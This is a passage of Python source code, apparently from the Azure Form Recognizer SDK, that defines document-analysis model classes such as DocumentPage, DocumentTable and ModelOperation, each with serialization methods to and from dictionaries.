from the document, but cannot be normalized to its type,\n then access the `content` property for a textual representation of the value.\n :vartype value: str, int, float, :class:`~datetime.date`, :class:`~datetime.time`,\n :class:`~azure.ai.formrecognizer.CurrencyValue`,\n dict[str, :class:`~azure.ai.formrecognizer.DocumentField`],\n or list[:class:`~azure.ai.formrecognizer.DocumentField`]\n :ivar content: The field's content.\n :vartype content: str\n :ivar bounding_regions: Bounding regions covering the field.\n :vartype bounding_regions: list[~azure.ai.formrecognizer.BoundingRegion]\n :ivar spans: Location of the field in the reading order concatenated content.\n :vartype spans: list[~azure.ai.formrecognizer.DocumentSpan]\n :ivar confidence: The confidence of correctly extracting the field.\n :vartype confidence: float\n \"\"\"\n\n def __init__(self, **kwargs):\n self.value_type = kwargs.get(\"value_type\", None)\n self.value = kwargs.get(\"value\", None)\n self.content = kwargs.get(\"content\", None)\n self.bounding_regions = kwargs.get(\"bounding_regions\", None)\n self.spans = kwargs.get(\"spans\", None)\n self.confidence = kwargs.get(\"confidence\", None)\n\n @classmethod\n def _from_generated(cls, field):\n if field is None:\n return None\n return cls(\n value=get_field_value_v3(field),\n value_type=adjust_value_type(field.type) if field.type else None,\n content=field.content if field.content else None,\n bounding_regions=[\n BoundingRegion(\n page_number=region.page_number,\n bounding_box=get_bounding_box(region),\n )\n for region in field.bounding_regions\n ]\n if field.bounding_regions\n else [],\n spans=[\n DocumentSpan(\n offset=span.offset,\n length=span.length,\n )\n for span in field.spans\n ]\n if field.spans\n else [],\n confidence=field.confidence if field.confidence else None,\n )\n\n def __repr__(self):\n return (\n \"DocumentField(value_type={}, value={}, content={}, bounding_regions={}, spans={}, \"\n \"confidence={})\".format(\n self.value_type,\n repr(self.value),\n self.content,\n repr(self.bounding_regions),\n repr(self.spans),\n self.confidence,\n )\n )\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of DocumentField.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"value_type\": self.value_type,\n \"value\": self.value,\n \"content\": self.content,\n \"bounding_regions\": [f.to_dict() for f in self.bounding_regions]\n if self.bounding_regions\n else [],\n \"spans\": [f.to_dict() for f in self.spans]\n if self.spans\n else [],\n \"confidence\": self.confidence,\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> DocumentField\n \"\"\"Converts a dict in the shape of a DocumentField to the model itself.\n\n :param dict data: A dictionary in the shape of DocumentField.\n :return: DocumentField\n :rtype: DocumentField\n \"\"\"\n return cls(\n value_type=data.get(\"value_type\", None),\n value=data.get(\"value\", None),\n content=data.get(\"content\", None),\n bounding_regions=[BoundingRegion.from_dict(v) for v in data.get(\"bounding_regions\")] # type: ignore\n if len(data.get(\"bounding_regions\", [])) > 0\n else [],\n spans=[DocumentSpan.from_dict(v) for v in data.get(\"spans\")] # type: ignore\n if len(data.get(\"spans\", [])) > 0\n else [],\n confidence=data.get(\"confidence\", None),\n )\n\n\nclass DocumentKeyValueElement(object):\n \"\"\"An object representing the field key or value in a key-value pair.\n\n :ivar content: Concatenated content of the key-value element in reading order.\n :vartype content: str\n :ivar bounding_regions: Bounding regions covering the key-value element.\n :vartype bounding_regions: list[~azure.ai.formrecognizer.BoundingRegion]\n :ivar spans: Location of the key-value element in the reading order of the concatenated\n content.\n :vartype spans: list[~azure.ai.formrecognizer.DocumentSpan]\n \"\"\"\n\n def __init__(self, **kwargs):\n self.content = kwargs.get(\"content\", None)\n self.bounding_regions = kwargs.get(\"bounding_regions\", None)\n self.spans = kwargs.get(\"spans\", None)\n\n @classmethod\n def _from_generated(cls, element):\n return cls(\n content=element.content,\n bounding_regions=[\n BoundingRegion._from_generated(region)\n for region in element.bounding_regions\n ]\n if element.bounding_regions\n else [],\n spans=[DocumentSpan._from_generated(span) for span in element.spans]\n if element.spans\n else [],\n )\n\n def __repr__(self):\n return (\n \"DocumentKeyValueElement(content={}, bounding_regions={}, spans={})\".format(\n self.content,\n repr(self.bounding_regions),\n repr(self.spans),\n )\n )\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of DocumentKeyValueElement.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"content\": self.content,\n \"bounding_regions\": [f.to_dict() for f in self.bounding_regions]\n if self.bounding_regions\n else [],\n \"spans\": [f.to_dict() for f in self.spans]\n if self.spans\n else [],\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> DocumentKeyValueElement\n \"\"\"Converts a dict in the shape of a DocumentKeyValueElement to the model itself.\n\n :param dict data: A dictionary in the shape of DocumentKeyValueElement.\n :return: DocumentKeyValueElement\n :rtype: DocumentKeyValueElement\n \"\"\"\n return cls(\n content=data.get(\"content\", None),\n bounding_regions=[BoundingRegion.from_dict(v) for v in data.get(\"bounding_regions\")] # type: ignore\n if len(data.get(\"bounding_regions\", [])) > 0\n else [],\n spans=[DocumentSpan.from_dict(v) for v in data.get(\"spans\")] # type: ignore\n if len(data.get(\"spans\", [])) > 0\n else [],\n )\n\n\nclass DocumentKeyValuePair(object):\n \"\"\"An object representing a document field with distinct field label (key) and field value (may be empty).\n\n :ivar key: Field label of the key-value pair.\n :vartype key: ~azure.ai.formrecognizer.DocumentKeyValueElement\n :ivar value: Field value of the key-value pair.\n :vartype value: ~azure.ai.formrecognizer.DocumentKeyValueElement\n :ivar confidence: Confidence of correctly extracting the key-value pair.\n :vartype confidence: float\n \"\"\"\n\n def __init__(self, **kwargs):\n self.key = kwargs.get(\"key\", None)\n self.value = kwargs.get(\"value\", None)\n self.confidence = kwargs.get(\"confidence\", None)\n\n @classmethod\n def _from_generated(cls, key_value_pair):\n return cls(\n key=DocumentKeyValueElement._from_generated(key_value_pair.key)\n if key_value_pair.key\n else None,\n value=DocumentKeyValueElement._from_generated(key_value_pair.value)\n if key_value_pair.value\n else None,\n confidence=key_value_pair.confidence,\n )\n\n def __repr__(self):\n return \"DocumentKeyValuePair(key={}, value={}, confidence={})\".format(\n repr(self.key),\n repr(self.value),\n self.confidence,\n )\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of DocumentKeyValuePair.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"key\": self.key.to_dict() if self.key else None,\n \"value\": self.value.to_dict() if self.value else None,\n \"confidence\": self.confidence,\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> DocumentKeyValuePair\n \"\"\"Converts a dict in the shape of a DocumentKeyValuePair to the model itself.\n\n :param dict data: A dictionary in the shape of DocumentKeyValuePair.\n :return: DocumentKeyValuePair\n :rtype: DocumentKeyValuePair\n \"\"\"\n return cls(\n key=DocumentKeyValueElement.from_dict(data.get(\"key\")) # type: ignore\n if data.get(\"key\")\n else None,\n value=DocumentKeyValueElement.from_dict(data.get(\"value\")) # type: ignore\n if data.get(\"value\")\n else None,\n confidence=data.get(\"confidence\", None),\n )\n\n\nclass DocumentLine(object):\n \"\"\"A content line object representing the content found on a single line of the document.\n\n :ivar content: Concatenated content of the contained elements in reading order.\n :vartype content: str\n :ivar bounding_box: Bounding box of the line.\n :vartype bounding_box: list[Point]\n :ivar spans: Location of the line in the reading order concatenated content.\n :vartype spans: list[~azure.ai.formrecognizer.DocumentSpan]\n \"\"\"\n\n def __init__(self, **kwargs):\n self._parent = kwargs.get(\"_parent\", None)\n self.content = kwargs.get(\"content\", None)\n self.bounding_box = kwargs.get(\"bounding_box\", None)\n self.spans = kwargs.get(\"spans\", None)\n\n @classmethod\n def _from_generated(cls, line, document_page):\n return cls(\n _parent=document_page,\n content=line.content,\n bounding_box=get_bounding_box(line),\n spans=prepare_document_spans(line.spans),\n )\n\n def __repr__(self):\n return \"DocumentLine(content={}, bounding_box={}, spans={})\".format(\n self.content,\n self.bounding_box,\n repr(self.spans),\n )\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of DocumentLine.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"content\": self.content,\n \"bounding_box\": [f.to_dict() for f in self.bounding_box]\n if self.bounding_box\n else [],\n \"spans\": [f.to_dict() for f in self.spans]\n if self.spans\n else [],\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> DocumentLine\n \"\"\"Converts a dict in the shape of a DocumentLine to the model itself.\n\n :param dict data: A dictionary in the shape of DocumentLine.\n :return: DocumentLine\n :rtype: DocumentLine\n \"\"\"\n return cls(\n content=data.get(\"content\", None),\n bounding_box=[Point.from_dict(v) for v in data.get(\"bounding_box\")] # type: ignore\n if len(data.get(\"bounding_box\", [])) > 0\n else [],\n spans=[DocumentSpan.from_dict(v) for v in data.get(\"spans\")] # type: ignore\n if len(data.get(\"spans\", [])) > 0\n else [],\n )\n\n def get_words(self, **kwargs): # pylint: disable=unused-argument\n # type: (Any) -> Iterable[DocumentWord]\n \"\"\"Get the words found in the spans of this DocumentLine.\n\n :return: iterable[DocumentWord]\n :rtype: iterable[DocumentWord]\n \"\"\"\n if not self._parent:\n raise ValueError(\n \"Cannot use get_words() on a model that has been converted from a dictionary. \"\n \"Missing reference to parent element.\"\n )\n result = []\n for word in self._parent.words:\n if _in_span(word, self.spans):\n result.append(word)\n return result\n\n\nclass DocumentPage(object):\n \"\"\"Content and layout elements extracted from a page of the input.\n\n :ivar page_number: 1-based page number in the input document.\n :vartype page_number: int\n :ivar angle: The general orientation of the content in clockwise direction, measured\n in degrees between (-180, 180].\n :vartype angle: float\n :ivar width: The width of the image/PDF in pixels/inches, respectively.\n :vartype width: float\n :ivar height: The height of the image/PDF in pixels/inches, respectively.\n :vartype height: float\n :ivar unit: The unit used by the width, height, and boundingBox properties. For\n images, the unit is \"pixel\". For PDF, the unit is \"inch\". Possible values include: \"pixel\",\n \"inch\".\n :vartype unit: str\n :ivar spans: Location of the page in the reading order concatenated content.\n :vartype spans: list[~azure.ai.formrecognizer.DocumentSpan]\n :ivar words: Extracted words from the page.\n :vartype words: list[~azure.ai.formrecognizer.DocumentWord]\n :ivar selection_marks: Extracted selection marks from the page.\n :vartype selection_marks:\n list[~azure.ai.formrecognizer.DocumentSelectionMark]\n :ivar lines: Extracted lines from the page, potentially containing both textual and\n visual elements.\n :vartype lines: list[~azure.ai.formrecognizer.DocumentLine]\n \"\"\"\n\n def __init__(self, **kwargs):\n self.page_number = kwargs.get(\"page_number\", None)\n self.angle = kwargs.get(\"angle\", None)\n self.width = kwargs.get(\"width\", None)\n self.height = kwargs.get(\"height\", None)\n self.unit = kwargs.get(\"unit\", None)\n self.spans = kwargs.get(\"spans\", None)\n self.words = kwargs.get(\"words\", None)\n self.selection_marks = kwargs.get(\"selection_marks\", None)\n self.lines = kwargs.get(\"lines\", None)\n\n @classmethod\n def _from_generated(cls, page):\n return cls(\n page_number=page.page_number,\n angle=adjust_text_angle(page.angle),\n width=page.width,\n height=page.height,\n unit=page.unit,\n lines=[DocumentLine._from_generated(line, page) for line in page.lines]\n if page.lines\n else [],\n words=[DocumentWord._from_generated(word) for word in page.words]\n if page.words\n else [],\n selection_marks=[\n DocumentSelectionMark._from_generated(mark)\n for mark in page.selection_marks\n ]\n if page.selection_marks\n else [],\n spans=prepare_document_spans(page.spans),\n )\n\n def __repr__(self):\n return (\n \"DocumentPage(page_number={}, angle={}, width={}, height={}, unit={}, lines={}, words={}, \"\n \"selection_marks={}, spans={})\".format(\n self.page_number,\n self.angle,\n self.width,\n self.height,\n self.unit,\n repr(self.lines),\n repr(self.words),\n repr(self.selection_marks),\n repr(self.spans),\n )\n )\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of DocumentPage.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"page_number\": self.page_number,\n \"angle\": self.angle,\n \"width\": self.width,\n \"height\": self.height,\n \"unit\": self.unit,\n \"lines\": [f.to_dict() for f in self.lines]\n if self.lines\n else [],\n \"words\": [f.to_dict() for f in self.words]\n if self.words\n else [],\n \"selection_marks\": [f.to_dict() for f in self.selection_marks]\n if self.selection_marks\n else [],\n \"spans\": [f.to_dict() for f in self.spans]\n if self.spans\n else [],\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> DocumentPage\n \"\"\"Converts a dict in the shape of a DocumentPage to the model itself.\n\n :param dict data: A dictionary in the shape of DocumentPage.\n :return: DocumentPage\n :rtype: DocumentPage\n \"\"\"\n return cls(\n page_number=data.get(\"page_number\", None),\n angle=data.get(\"angle\", None),\n width=data.get(\"width\", None),\n height=data.get(\"height\", None),\n unit=data.get(\"unit\", None),\n lines=[DocumentLine.from_dict(v) for v in data.get(\"lines\")] # type: ignore\n if len(data.get(\"lines\", [])) > 0\n else [],\n words=[DocumentWord.from_dict(v) for v in data.get(\"words\")] # type: ignore\n if len(data.get(\"words\", [])) > 0\n else [],\n selection_marks=[DocumentSelectionMark.from_dict(v) for v in data.get(\"selection_marks\")] # type: ignore\n if len(data.get(\"selection_marks\", [])) > 0\n else [],\n spans=[DocumentSpan.from_dict(v) for v in data.get(\"spans\")] # type: ignore\n if len(data.get(\"spans\", [])) > 0\n else [],\n )\n\n\nclass DocumentSelectionMark(DocumentContentElement):\n \"\"\"A selection mark object representing check boxes, radio buttons, and other elements indicating a selection.\n\n :ivar state: State of the selection mark. Possible values include: \"selected\",\n \"unselected\".\n :vartype state: str\n :ivar content: The text content - not returned for DocumentSelectionMark.\n :vartype content: str\n :ivar bounding_box: Bounding box of the selection mark.\n :vartype bounding_box: list[Point]\n :ivar span: Location of the selection mark in the reading order concatenated\n content.\n :vartype span: ~azure.ai.formrecognizer.DocumentSpan\n :ivar confidence: Confidence of correctly extracting the selection mark.\n :vartype confidence: float\n :ivar str kind: For DocumentSelectionMark, this is \"selectionMark\".\n \"\"\"\n\n def __init__(self, **kwargs):\n super(DocumentSelectionMark, self).__init__(kind=\"selectionMark\", **kwargs)\n self.state = kwargs.get(\"state\", None)\n\n @classmethod\n def _from_generated(cls, mark):\n return cls(\n state=mark.state,\n bounding_box=get_bounding_box(mark),\n span=DocumentSpan._from_generated(mark.span)\n if mark.span\n else None,\n confidence=mark.confidence,\n )\n\n def __repr__(self):\n return \"DocumentSelectionMark(state={}, content={}, span={}, confidence={}, bounding_box={}, kind={})\".format(\n self.state,\n self.content,\n repr(self.span),\n self.confidence,\n self.bounding_box,\n self.kind,\n )\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of DocumentSelectionMark.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"state\": self.state,\n \"content\": self.content,\n \"bounding_box\": [f.to_dict() for f in self.bounding_box]\n if self.bounding_box\n else [],\n \"span\": self.span.to_dict() if self.span else None,\n \"confidence\": self.confidence,\n \"kind\": self.kind,\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> DocumentSelectionMark\n \"\"\"Converts a dict in the shape of a DocumentSelectionMark to the model itself.\n\n :param dict data: A dictionary in the shape of DocumentSelectionMark.\n :return: DocumentSelectionMark\n :rtype: DocumentSelectionMark\n \"\"\"\n return cls(\n state=data.get(\"state\", None),\n content=data.get(\"content\", None),\n bounding_box=[Point.from_dict(v) for v in data.get(\"bounding_box\")] # type: ignore\n if len(data.get(\"bounding_box\", [])) > 0\n else [],\n span=DocumentSpan.from_dict(data.get(\"span\")) if data.get(\"span\") else None, # type: ignore\n confidence=data.get(\"confidence\", None),\n )\n\n\nclass DocumentStyle(object):\n \"\"\"An object representing observed text styles.\n\n :ivar is_handwritten: Is content handwritten?.\n :vartype is_handwritten: bool\n :ivar spans: Location of the text elements in the concatenated content the style\n applies to.\n :vartype spans: list[~azure.ai.formrecognizer.DocumentSpan]\n :ivar confidence: Confidence of correctly identifying the style.\n :vartype confidence: float\n \"\"\"\n\n def __init__(self, **kwargs):\n self.is_handwritten = kwargs.get(\"is_handwritten\", None)\n self.spans = kwargs.get(\"spans\", None)\n self.confidence = kwargs.get(\"confidence\", None)\n\n @classmethod\n def _from_generated(cls, style):\n return cls(\n is_handwritten=style.is_handwritten,\n spans=[DocumentSpan._from_generated(span) for span in style.spans]\n if style.spans\n else [],\n confidence=style.confidence,\n )\n\n def __repr__(self):\n return \"DocumentStyle(is_handwritten={}, spans={}, confidence={})\".format(\n self.is_handwritten,\n repr(self.spans),\n self.confidence,\n )\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of DocumentStyle.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"is_handwritten\": self.is_handwritten,\n \"spans\": [f.to_dict() for f in self.spans]\n if self.spans\n else [],\n \"confidence\": self.confidence,\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> DocumentStyle\n \"\"\"Converts a dict in the shape of a DocumentStyle to the model itself.\n\n :param dict data: A dictionary in the shape of DocumentStyle.\n :return: DocumentStyle\n :rtype: DocumentStyle\n \"\"\"\n return cls(\n is_handwritten=data.get(\"is_handwritten\", None),\n spans=[DocumentSpan.from_dict(v) for v in data.get(\"spans\")] # type: ignore\n if len(data.get(\"spans\", [])) > 0\n else [],\n confidence=data.get(\"confidence\", None),\n )\n\n\nclass DocumentTable(object):\n \"\"\"A table object consisting table cells arranged in a rectangular layout.\n\n :ivar row_count: Number of rows in the table.\n :vartype row_count: int\n :ivar column_count: Number of columns in the table.\n :vartype column_count: int\n :ivar cells: Cells contained within the table.\n :vartype cells: list[~azure.ai.formrecognizer.DocumentTableCell]\n :ivar bounding_regions: Bounding regions covering the table.\n :vartype bounding_regions: list[~azure.ai.formrecognizer.BoundingRegion]\n :ivar spans: Location of the table in the reading order concatenated content.\n :vartype spans: list[~azure.ai.formrecognizer.DocumentSpan]\n \"\"\"\n\n def __init__(self, **kwargs):\n self.row_count = kwargs.get(\"row_count\", None)\n self.column_count = kwargs.get(\"column_count\", None)\n self.cells = kwargs.get(\"cells\", None)\n self.bounding_regions = kwargs.get(\"bounding_regions\", None)\n self.spans = kwargs.get(\"spans\", None)\n\n @classmethod\n def _from_generated(cls, table):\n return cls(\n row_count=table.row_count,\n column_count=table.column_count,\n cells=[DocumentTableCell._from_generated(cell) for cell in table.cells]\n if table.cells\n else [],\n bounding_regions=prepare_bounding_regions(table.bounding_regions),\n spans=prepare_document_spans(table.spans),\n )\n\n def __repr__(self):\n return (\n \"DocumentTable(row_count={}, column_count={}, cells={}, bounding_regions={}, \"\n \"spans={})\".format(\n self.row_count,\n self.column_count,\n repr(self.cells),\n repr(self.bounding_regions),\n repr(self.spans),\n )\n )\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of DocumentTable.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"row_count\": self.row_count,\n \"column_count\": self.column_count,\n \"cells\": [f.to_dict() for f in self.cells]\n if self.cells\n else [],\n \"bounding_regions\": [f.to_dict() for f in self.bounding_regions]\n if self.bounding_regions\n else [],\n \"spans\": [f.to_dict() for f in self.spans]\n if self.spans\n else [],\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> DocumentTable\n \"\"\"Converts a dict in the shape of a DocumentTable to the model itself.\n\n :param dict data: A dictionary in the shape of DocumentTable.\n :return: DocumentTable\n :rtype: DocumentTable\n \"\"\"\n return cls(\n row_count=data.get(\"row_count\", None),\n column_count=data.get(\"column_count\", None),\n cells=[DocumentTableCell.from_dict(v) for v in data.get(\"cells\")] # type: ignore\n if len(data.get(\"cells\", [])) > 0\n else [],\n bounding_regions=[BoundingRegion.from_dict(v) for v in data.get(\"bounding_regions\")] # type: ignore\n if len(data.get(\"bounding_regions\", [])) > 0\n else [],\n spans=[DocumentSpan.from_dict(v) for v in data.get(\"spans\")] # type: ignore\n if len(data.get(\"spans\", [])) > 0\n else [],\n )\n\n\nclass DocumentTableCell(object):\n \"\"\"An object representing the location and content of a table cell.\n\n :ivar kind: Table cell kind. Possible values include: \"content\", \"rowHeader\", \"columnHeader\",\n \"stubHead\", \"description\". Default value: \"content\".\n :vartype kind: str\n :ivar row_index: Row index of the cell.\n :vartype row_index: int\n :ivar column_index: Column index of the cell.\n :vartype column_index: int\n :ivar row_span: Number of rows spanned by this cell.\n :vartype row_span: int\n :ivar column_span: Number of columns spanned by this cell.\n :vartype column_span: int\n :ivar content: Concatenated content of the table cell in reading order.\n :vartype content: str\n :ivar bounding_regions: Bounding regions covering the table cell.\n :vartype bounding_regions: list[~azure.ai.formrecognizer.BoundingRegion]\n :ivar spans: Location of the table cell in the reading order concatenated content.\n :vartype spans: list[~azure.ai.formrecognizer.DocumentSpan]\n \"\"\"\n\n def __init__(self, **kwargs):\n self.kind = kwargs.get(\"kind\", \"content\")\n self.row_index = kwargs.get(\"row_index\", None)\n self.column_index = kwargs.get(\"column_index\", None)\n self.row_span = kwargs.get(\"row_span\", 1)\n self.column_span = kwargs.get(\"column_span\", 1)\n self.content = kwargs.get(\"content\", None)\n self.bounding_regions = kwargs.get(\"bounding_regions\", None)\n self.spans = kwargs.get(\"spans\", None)\n\n @classmethod\n def _from_generated(cls, cell):\n return cls(\n kind=cell.kind if cell.kind else \"content\",\n row_index=cell.row_index,\n column_index=cell.column_index,\n row_span=cell.row_span if cell.row_span else 1,\n column_span=cell.column_span if cell.column_span else 1,\n content=cell.content,\n bounding_regions=[\n BoundingRegion._from_generated(region)\n for region in cell.bounding_regions\n ]\n if cell.bounding_regions\n else [],\n spans=[DocumentSpan._from_generated(span) for span in cell.spans]\n if cell.spans\n else [],\n )\n\n def __repr__(self):\n return (\n \"DocumentTableCell(kind={}, row_index={}, column_index={}, row_span={}, column_span={}, \"\n \"content={}, bounding_regions={}, spans={})\".format(\n self.kind,\n self.row_index,\n self.column_index,\n self.row_span,\n self.column_span,\n self.content,\n repr(self.bounding_regions),\n repr(self.spans),\n )\n )\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of DocumentTableCell.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"kind\": self.kind,\n \"row_index\": self.row_index,\n \"column_index\": self.column_index,\n \"row_span\": self.row_span,\n \"column_span\": self.column_span,\n \"content\": self.content,\n \"bounding_regions\": [f.to_dict() for f in self.bounding_regions]\n if self.bounding_regions\n else [],\n \"spans\": [f.to_dict() for f in self.spans]\n if self.spans\n else [],\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> DocumentTableCell\n \"\"\"Converts a dict in the shape of a DocumentTableCell to the model itself.\n\n :param dict data: A dictionary in the shape of DocumentTableCell.\n :return: DocumentTableCell\n :rtype: DocumentTableCell\n \"\"\"\n return cls(\n kind=data.get(\"kind\", \"content\"),\n row_index=data.get(\"row_index\", None),\n column_index=data.get(\"column_index\", None),\n row_span=data.get(\"row_span\", 1),\n column_span=data.get(\"column_span\", 1),\n content=data.get(\"content\", None),\n bounding_regions=[BoundingRegion.from_dict(v) for v in data.get(\"bounding_regions\")] # type: ignore\n if len(data.get(\"bounding_regions\", [])) > 0\n else [],\n spans=[DocumentSpan.from_dict(v) for v in data.get(\"spans\")] # type: ignore\n if len(data.get(\"spans\", [])) > 0\n else [],\n )\n\n\nclass ModelOperationInfo(object):\n \"\"\"Model operation information, including the kind and status of the operation, when it was\n created, and more.\n\n Note that operation information only persists for 24 hours. If the operation was successful,\n the model can be accessed using the :func:`~get_model` or :func:`~list_models` APIs.\n To find out why an operation failed, use :func:`~get_operation` and provide the `operation_id`.\n\n :ivar operation_id: Operation ID.\n :vartype operation_id: str\n :ivar status: Operation status. Possible values include: \"notStarted\", \"running\",\n \"failed\", \"succeeded\", \"canceled\".\n :vartype status: str\n :ivar percent_completed: Operation progress (0-100).\n :vartype percent_completed: int\n :ivar created_on: Date and time (UTC) when the operation was created.\n :vartype created_on: ~datetime.datetime\n :ivar last_updated_on: Date and time (UTC) when the operation was last updated.\n :vartype last_updated_on: ~datetime.datetime\n :ivar kind: Type of operation. Possible values include: \"documentModelBuild\",\n \"documentModelCompose\", \"documentModelCopyTo\".\n :vartype kind: str\n :ivar resource_location: URL of the resource targeted by this operation.\n :vartype resource_location: str\n :ivar api_version: API version used to create this operation.\n :vartype api_version: str\n :ivar tags: List of user defined key-value tag attributes associated with the model.\n :vartype tags: dict[str, str]\n\n .. versionadded:: v2022-01-30-preview\n The *api_version* and *tags* properties\n \"\"\"\n\n def __init__(self, **kwargs):\n self.operation_id = kwargs.get(\"operation_id\", None)\n self.status = kwargs.get(\"status\", None)\n self.percent_completed = kwargs.get(\"percent_completed\", 0)\n self.created_on = kwargs.get(\"created_on\", None)\n self.last_updated_on = kwargs.get(\"last_updated_on\", None)\n self.kind = kwargs.get(\"kind\", None)\n self.resource_location = kwargs.get(\"resource_location\", None)\n self.api_version = kwargs.get(\"api_version\", None)\n self.tags = kwargs.get(\"tags\", None)\n\n def __repr__(self):\n return (\n \"ModelOperationInfo(operation_id={}, status={}, percent_completed={}, created_on={}, last_updated_on={}, \"\n \"kind={}, resource_location={}, api_version={}, tags={})\".format(\n self.operation_id,\n self.status,\n self.percent_completed,\n self.created_on,\n self.last_updated_on,\n self.kind,\n self.resource_location,\n self.api_version,\n self.tags,\n )\n )\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of ModelOperationInfo.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"operation_id\": self.operation_id,\n \"status\": self.status,\n \"percent_completed\": self.percent_completed,\n \"created_on\": self.created_on,\n \"last_updated_on\": self.last_updated_on,\n \"kind\": self.kind,\n \"resource_location\": self.resource_location,\n \"api_version\": self.api_version,\n \"tags\": self.tags,\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> ModelOperationInfo\n \"\"\"Converts a dict in the shape of a ModelOperationInfo to the model itself.\n\n :param dict data: A dictionary in the shape of ModelOperationInfo.\n :return: ModelOperationInfo\n :rtype: ModelOperationInfo\n \"\"\"\n return cls(\n operation_id=data.get(\"operation_id\", None),\n status=data.get(\"status\", None),\n percent_completed=data.get(\"percent_completed\", None),\n created_on=data.get(\"created_on\", None),\n last_updated_on=data.get(\"last_updated_on\", None),\n kind=data.get(\"kind\", None),\n resource_location=data.get(\"resource_location\", None),\n api_version=data.get(\"api_version\", None),\n tags=data.get(\"tags\", {}),\n )\n\n @classmethod\n def _from_generated(cls, op):\n return cls(\n operation_id=op.operation_id,\n status=op.status,\n percent_completed=op.percent_completed if op.percent_completed else 0,\n created_on=op.created_date_time,\n last_updated_on=op.last_updated_date_time,\n kind=op.kind,\n resource_location=op.resource_location,\n api_version=op.api_version,\n tags=op.tags if op.tags else {},\n )\n\n\nclass ModelOperation(ModelOperationInfo):\n \"\"\"ModelOperation consists of information about the model operation, including the result or\n error of the operation if it has completed.\n\n Note that operation information only persists for 24 hours. If the operation was successful,\n the model can also be accessed using the :func:`~get_model` or :func:`~list_models` APIs.\n\n :ivar operation_id: Operation ID.\n :vartype operation_id: str\n :ivar status: Operation status. Possible values include: \"notStarted\", \"running\",\n \"failed\", \"succeeded\", \"canceled\".\n :vartype status: str\n :ivar percent_completed: Operation progress (0-100).\n :vartype percent_completed: int\n :ivar created_on: Date and time (UTC) when the operation was created.\n :vartype created_on: ~datetime.datetime\n :ivar last_updated_on: Date and time (UTC) when the operation was last updated.\n :vartype last_updated_on: ~datetime.datetime\n :ivar kind: Type of operation. Possible values include: \"documentModelBuild\",\n \"documentModelCompose\", \"documentModelCopyTo\".\n :vartype kind: str\n :ivar resource_location: URL of the resource targeted by this operation.\n :vartype resource_location: str\n :ivar error: Encountered error, includes the error code, message, and details for why\n the operation failed.\n :vartype error: ~azure.ai.formrecognizer.DocumentAnalysisError\n :ivar result: Operation result upon success. Returns a DocumentModel which contains\n all information about the model including the doc types\n and fields it can analyze from documents.\n :vartype result: ~azure.ai.formrecognizer.DocumentModel\n :ivar api_version: API version used to create this operation.\n :vartype api_version: str\n :ivar tags: List of user defined key-value tag attributes associated with the model.\n :vartype tags: dict[str, str]\n\n .. versionadded:: v2022-01-30-preview\n The *api_version* and *tags* properties\n \"\"\"\n\n def __init__(self, **kwargs):\n super(ModelOperation, self).__init__(**kwargs)\n self.error = kwargs.get(\"error\", None)\n self.result = kwargs.get(\"result\", None)\n\n def __repr__(self):\n return (\n \"ModelOperation(operation_id={}, status={}, percent_completed={}, created_on={}, last_updated_on={}, \"\n \"kind={}, resource_location={}, result={}, error={}, api_version={}, tags={})\".format(\n self.operation_id,\n self.status,\n self.percent_completed,\n self.created_on,\n self.last_updated_on,\n self.kind,\n self.resource_location,\n repr(self.result),\n repr(self.error),\n self.api_version,\n self.tags,\n )\n )\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of ModelOperation.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"operation_id\": self.operation_id,\n \"status\": self.status,\n \"percent_completed\": self.percent_completed,\n \"created_on\": self.created_on,\n \"last_updated_on\": self.last_updated_on,\n \"kind\": self.kind,\n \"resource_location\": self.resource_location,\n \"result\": self.result.to_dict() if self.result else None,\n \"error\": self.error.to_dict() if self.error else None,\n \"api_version\": self.api_version,\n \"tags\": self.tags,\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> ModelOperation\n \"\"\"Converts a dict in the shape of a ModelOperation to the model itself.\n\n :param dict data: A dictionary in the shape of ModelOperation.\n :return: ModelOperation\n :rtype: ModelOperation\n \"\"\"\n return cls(\n operation_id=data.get(\"operation_id\", None),\n status=data.get(\"status\", None),\n percent_completed=data.get(\"percent_completed\", None),\n created_on=data.get(\"created_on\", None),\n last_updated_on=data.get(\"last_updated_on\", None),\n kind=data.get(\"kind\", None),\n resource_location=data.get(\"resource_location\", None),\n result=DocumentModel.from_dict(data.get(\"result\")) if data.get(\"result\") else None, # type: ignore\n error=DocumentAnalysisError.from_dict(data.get(\"error\")) if data.get(\"error\") else None, # type: ignore\n api_version=data.get(\"api_version\", None),\n 